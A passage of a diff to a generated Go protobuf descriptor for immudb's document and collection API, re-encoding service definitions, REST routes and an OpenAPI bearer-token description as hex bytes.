-1607,114 +1598,111 @@ var file_documentschema_proto_rawDesc = []byte{ 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x22, 0x4e, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x32, - 0x0a, 0x08, 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x52, 0x08, 0x72, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, - 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, - 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, - 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, - 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, - 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, - 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, - 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0x85, 0x0a, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, + 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, + 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, + 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, + 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, + 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, + 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, + 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, + 0x10, 0x02, 0x32, 0x85, 0x0a, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, - 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, + 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, - 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, - 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, - 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, - 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, - 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, - 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, - 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, - 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, - 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, - 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, + 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, + 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, + 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, + 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 